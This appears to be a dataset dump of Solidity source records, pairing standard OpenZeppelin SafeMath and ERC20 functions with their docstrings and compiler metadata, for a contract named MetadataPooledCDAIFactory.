library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 241, 421 ] }
12,491
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 681, 864 ] }
12,492
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; }
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 1100, 1562 ] }
12,493
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 2013, 2343 ] }
12,494
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 2783, 2936 ] }
12,495
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev See `IERC20.totalSupply`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 278, 371 ] }
12,496
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
/** * @dev See `IERC20.balanceOf`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 425, 537 ] }
12,497
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit 